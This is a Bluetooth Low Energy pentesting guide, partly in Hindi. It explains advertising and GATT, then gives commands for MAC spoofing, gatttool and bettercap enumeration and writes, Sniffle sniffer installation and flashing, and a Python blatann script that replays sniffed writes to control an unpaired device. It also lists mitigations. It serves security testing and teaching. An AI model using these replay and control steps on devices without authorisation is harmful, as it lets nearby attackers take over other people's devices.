Pentesting BLE - Bluetooth Low Energy

Reading time: 9 minutes

परिचय

Available since the Bluetooth 4.0 specification, BLE uses only 40 channels, covering the range of 2400 to 2483.5 MHz. In contrast, traditional Bluetooth uses 79 channels in that same range.

BLE devices communicate is by sending advertising packets (beacons), these packets broadcast the BLE device’s existence to other nearby devices. These beacons sometimes send data, too.

The listening device, also called a central device, can respond to an advertising packet with a SCAN request sent specifically to the advertising device. The response to that scan uses the same structure as the advertising packet with additional information that couldn’t fit on the initial advertising request, such as the full device name.

The preamble byte synchronizes the frequency, whereas the four-byte access address is a connection identifier, which is used in scenarios where multiple devices are trying to establish connections on the same channels. Next, the Protocol Data Unit (PDU) contains the advertising data. There are several types of PDU; the most commonly used are ADV_NONCONN_IND and ADV_IND. Devices use the ADV_NONCONN_IND PDU type if they don’t accept connections, transmitting data only in the advertising packet. Devices use ADV_IND if they allow connections and stop sending advertising packets once a connection has been established.

GATT

The Generic Attribute Profile (GATT) defines how the device should format and transfer data. When you’re analyzing a BLE device’s attack surface, you’ll often concentrate your attention on the GATT (or GATTs), because it’s how device functionality gets triggered and how data gets stored, grouped, and modified. The GATT lists a device’s characteristics, descriptors, and services in a table as either 16- or 32-bits values. A characteristic is a data value sent between the central device and peripheral. These characteristics can have descriptors that provide additional information about them. Characteristics are often grouped in services if they’re related to performing a particular action.

Enumeration

hciconfig #Check config, check if UP or DOWN
# If DOWN try:
sudo modprobe -c bluetooth
sudo hciconfig hci0 down && sudo hciconfig hci0 up

# Spoof MAC
spooftooph -i hci0 -a 11:22:33:44:55:66

GATTool

GATTool किसी अन्य डिवाइस के साथ कनेक्शन स्थापित करने, उस डिवाइस की विशेषताएँ सूचीबद्ध करने, और उसके एट्रिब्यूट्स पढ़ने और लिखने की अनुमति देता है.
GATTTool -I विकल्प के साथ एक इंटरैक्टिव शेल लॉन्च कर सकता है:

gatttool -i hci0 -I
[ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful
[A4:CF:12:6C:B3:76][LE]> characteristics
handle: 0x0002, char properties: 0x20, char value handle:
0x0003, uuid: 00002a05-0000-1000-8000-00805f9b34fb
handle: 0x0015, char properties: 0x02, char value handle:
0x0016, uuid: 00002a00-0000-1000-8000-00805f9b34fb
[...]

# Write data
gatttool -i <Bluetooth adapter interface> -b <MAC address of device> --char-write-req <characteristic handle> -n <value>
gatttool -b a4:cf:12:6c:b3:76 --char-write-req -a 0x002e -n $(echo -n "04dc54d9053b4307680a"|xxd -ps)

# Read data
gatttool -i <Bluetooth adapter interface> -b <MAC address of device> --char-read -a 0x16

# Read connecting with an authenticated encrypted connection
gatttool --sec-level=high -b a4:cf:12:6c:b3:76 --char-read -a 0x002c

Bettercap

# Start listening for beacons
sudo bettercap --eval "ble.recon on"
# Wait some time
>> ble.show # Show discovered devices
>> ble.enum <mac addr> # This will show the service, characteristics and properties supported

# Write data in a characteristic
>> ble.write <MAC ADDR> <UUID> <HEX DATA>
>> ble.write <mac address of device> ff06 68656c6c6f # Write "hello" in ff06

Sniffing और अनपेयर किए गए BLE डिवाइसों को सक्रिय रूप से नियंत्रित करना

कई सस्ते BLE peripherals pairing/bonding लागू नहीं करते। bonding के बिना, Link Layer encryption कभी सक्षम नहीं होता, इसलिए ATT/GATT traffic cleartext में रहता है। एक off-path sniffer connection को फॉलो कर सकता है, GATT operations को decode कर characteristic handles और values सीख सकता है, और कोई भी निकटस्थ host तब connect करके उन लिखे गए डेटाओं को replay कर डिवाइस को नियंत्रित कर सकता है।

Sniffing with Sniffle (CC26x2/CC1352)

हार्डवेयर: a Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352) NCC Group’s Sniffle firmware से re-flashed किया गया।

Linux पर Sniffle और इसके Wireshark extcap को इंस्टॉल करें:

if [ ! -d /opt/sniffle/Sniffle-1.10.0/python_cli ]; then
echo "[+] - Sniffle not installed! Installing at 1.10.0..."
sudo mkdir -p /opt/sniffle
sudo chown -R $USER:$USER /opt/sniffle
pushd /opt/sniffle
wget https://github.com/nccgroup/Sniffle/archive/refs/tags/v1.10.0.tar.gz
tar xvf v1.10.0.tar.gz
# Install Wireshark extcap for user and root only
mkdir -p $HOME/.local/lib/wireshark/extcap
ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py $HOME/.local/lib/wireshark/extcap
sudo mkdir -p /root/.local/lib/wireshark/extcap
sudo ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py /root/.local/lib/wireshark/extcap
popd
else
echo "[+] - Sniffle already installed at 1.10.0"
fi

Sonoff को Sniffle firmware से फ्लैश करें (सुनिश्चित करें कि आपका serial device मेल खाता है, e.g. /dev/ttyUSB0):

pushd /opt/sniffle/
wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex
git clone https://github.com/sultanqasim/cc2538-bsl.git
cd cc2538-bsl
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install pyserial intelhex
python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc1352p1_cc2652p1_1M.hex
deactivate
popd

Wireshark में Sniffle extcap के माध्यम से कैप्चर करें और फ़िल्टर करके जल्दी से state-changing writes पर pivot करें:

_ws.col.info contains "Sent Write Command"

यह क्लाइंट से ATT Write Commands को हाइलाइट करता है; handle और value अक्सर सीधे डिवाइस क्रियाओं से मैप होते हैं (e.g., write 0x01 to a buzzer/alert characteristic, 0x00 to stop).

Sniffle CLI के त्वरित उदाहरण:

python3 scanner.py --output scan.pcap
# Only devices with very strong signal
python3 scanner.py --rssi -40
# Filter advertisements containing a string
python3 sniffer.py --string "banana" --output sniff.pcap

Alternative sniffer: Nordic’s nRF Sniffer for BLE + Wireshark plugin भी काम करता है। छोटे/सस्ते Nordic dongles पर आप आम तौर पर USB bootloader को overwrite करके sniffer firmware लोड करते हैं, इसलिए या तो आप एक dedicated sniffer dongle रखें या बाद में bootloader को restore करने के लिए J-Link/JTAG की आवश्यकता होगी।

GATT के माध्यम से सक्रिय नियंत्रण

एक बार जब आप sniffed traffic से writable characteristic handle और value पहचान लेते हैं, तो किसी भी central के रूप में connect करें और वही write जारी करें:

• Nordic nRF Connect for Desktop (BLE app) का उपयोग करके:

• nRF52/nRF52840 dongle चुनें, scan करें और target से connect करें।

• GATT database को browse करें, target characteristic ढूँढें (अक्सर friendly name होता है, जैसे Alert Level)।

• sniffed bytes के साथ एक Write perform करें (उदा., 01 trigger करने के लिए, 00 रोकने के लिए)।

• Windows पर Nordic dongle के साथ Python + blatann का उपयोग कर Automate करें:

import time
import blatann

# CONFIG
COM_PORT = "COM29"  # Replace with your COM port
TARGET_MAC = "5B:B1:7F:47:A7:00"  # Replace with your target MAC

target_address = blatann.peer.PeerAddress.from_string(TARGET_MAC + ",p")

# CONNECT
ble_device = blatann.BleDevice(COM_PORT)
ble_device.configure()
ble_device.open()
print(f"[-] Connecting to {TARGET_MAC}...")
peer = ble_device.connect(target_address).wait()
if not peer:
print("[!] Connection failed.")
ble_device.close()
raise SystemExit(1)

print("Connected. Discovering services...")
peer.discover_services().wait(5, exception_on_timeout=False)

# Example: write 0x01/0x00 to a known handle
for service in peer.database.services:
for ch in service.characteristics:
if ch.handle == 0x000b:  # Replace with your handle
print("[!] Beeping.")
ch.write(b"\x01")
time.sleep(2)
print("[+] And relax.")
ch.write(b"\x00")

print("[-] Disconnecting...")
peer.disconnect()
peer.wait_for_disconnect()
ble_device.close()

ऑपरेशनल नोट्स और निवारक उपाय

• मजबूत channel hopping और connection following के लिए Linux पर Sonoff+Sniffle को प्राथमिकता दें। बैकअप के रूप में एक अतिरिक्त Nordic sniffer रखें।
• pairing/bonding के बिना, कोई भी पास मौजूद attacker writes को observe कर सकता है और unauthenticated writable characteristics पर अपने खुद के writes को replay/craft कर सकता है।
• निवारक उपाय: pairing/bonding आवश्यक करें और एन्क्रिप्शन को लागू करें; characteristic permissions को सेट करें ताकि authenticated writes आवश्यक हों; unauthenticated writable characteristics को न्यूनतम रखें; Sniffle/nRF Connect के साथ GATT ACLs को validate करें।

संदर्भ

• Start hacking Bluetooth Low Energy today! (part 2) – Pentest Partners
• Sniffle – A sniffer for Bluetooth 5 and 4.x LE
• Firmware installation for Sonoff USB Dongle (Sniffle README)
• Sonoff Zigbee 3.0 USB Dongle Plus (ZBDongle-P)
• Nordic nRF Sniffer for Bluetooth LE
• nRF Connect for Desktop
• blatann – Python BLE library for Nordic devices